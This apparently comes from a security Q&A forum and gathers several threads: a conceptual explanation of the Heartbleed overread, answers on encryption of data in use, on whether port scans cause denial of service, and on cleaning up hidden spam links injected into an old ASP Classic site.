The truth is heartbleed is a simple overread of a buffer by trusting the payload size being sent in an attacker controlled header and never verifying that the payload was actually that size and written to memory (see [1], [2], [3]).  The attacker sends a heartbeat packet to the server with a header saying the length of its payload being sent (the size in the header is two bytes hence up to ff ff = 65535 bytes), writes the sent payload to memory, and then reads back data of that size back to the client which allows to read whatever is in memory in the webserver's process following the written payload.  This is quite important as you can repeat the attack many times and eventually may get lucky and be able to get private keys for the HTTPS server, and at that point you can MitM the HTTPS server.  (And get at things like erotic fan fiction or user's email). Yes, in the meantime you may come upon random data that the webserver was already serving up, but really the private keys (and less so session cookies) is the important part.

Furthermore, the scary part is that the attack does this in a way that will not be logged unless you are in a debug mode/eavesdropping every packet on the wire and log the beginning of every TLS handshake request.


What's a practical example of encryption "in use" or "in process"? I'm studying for the CCSP and from a high-level, I keep hearing encryption described in three forms:

Protecting data at rest.
Protecting data in transit.
Protecting data in use.

The first two make sense to me, but then I'm struggling to think of a practical example for the third scenario. Can someone elaborate? Unfortunately, my study material doesn't elaborate.

One scenario I could think of would be (perhaps) masking some sensitive information (like only showing the last four digits of a credit card number to a customer service rep).  That might be a stretch though... because technically wouldn't the data still be at rest?

Lets first define what encryption-in-use is. Its a capabilitiy that lets you run your computation on encrypted data or run encrypted application.
There are two ways to do this. There are pros and cons to each, but they are complementary in most use cases.

Hardware-based trusted execution environment (TEE). Intel's SGX or ARM TrustZone is a good example.

Software-based. This is relatively new and not used much outside of the research currently. Multi-Party Computation (MPC) and Homomorphic Encryption are two popular choices.


Denial of Service during scanning As I know you can do Denial of Service when footprinting with scanners, like nmap or Maltego. But is it legal? As I know, scanning isn't illegal but doing DoS attacks is.

EDIT
I meant if you scan just random sites with no relationship with it.

Unwanted DoS by portscans is kind of a myth. A simple CONNECT or SYN scan (ab)uses TCP functionality to find out if a port is open or closed. This won't be a problem for the running daemons because thy almost surely leave it to the operation system to handle the resulting events. The only way a daemon has to handle these itself is when the developer used RAW Sockets.

When it comes to more extended scans that for example are used to guess which operation system is running on a host it can theoretically cause problems to very old or poorly configured hosts. This is because OS guessing is (beside other techniques) done by causing unusual situations to the host which then has to react. These reactions in many cases are specific to a TCP/IP Stack implementation which can be attributed to an OS or a Kernel Version,...

What really can get dangerous is using a vulnerablity scanner linke nessus without the needed knowlege and/or care. There are thousands of modules and some of them can cause a DoS (and they are labeled as those) to the scanned system.


How could this file have been modified? I was recently asked to help make a few modifications to an old ASP Classic website.

At one point I was looking at the page source while debugging some JavaScript and noticed a div full of links to a few spam-like sites selling knockoff handbags and shoes etc! This div was absolutely positioned over 900 pixels off the top left corner, so it was never visible, and it wasn't until I looked into the source code that I noticed it was there at all.

The div itself was in a header file located inside an include subfolder. As far as I can tell, having just taken the site over, no code modifies this file at all.

Does this mean the web server itself had to have been compromised in order for someone to insert these links?

It seems if that was the case, then whoever did it had to have had some knowledge of how the site worked? Or maybe they just searched for files called 'header'? Although, there is a separate header file for the admin side of the site and that was not modified.

I guess the other possibility is that the old webmaster inserted the links themselves for some personal gain but that seems unlikely.

This kind of attack where spam links are inserted into page content will usually target a particular technology whether that is the site platform eg. Wordpress or a plugin used on the site for instance an image gallery or file upload script. By targeting a specific vulnerability in a widely used script an attacker can compromise enough websites to make the attack worthwhile.

Rebuilding the site from a known clean backup is the only way you can really be sure that you have repaired all of the damage. Then you will need to identify how the site was compromised in the first place otherwise it will almost certainly happen again. The most likely culprit will be scripts that allow users to upload files as if these could potentially be exploited to allow a malicious script to be uploaded and run.

Another possibility, if the website has been hosted on a server with one or more other sites , is that one of those sites was compromised and that giving access to the server and therefore your site. Hosting the site with a shared hosting company isn't necessarily going to protect you from that vector. Even some of the really big shared hosting companies can be pretty sloppy when it comes from protecting your site from others hosted on the same server.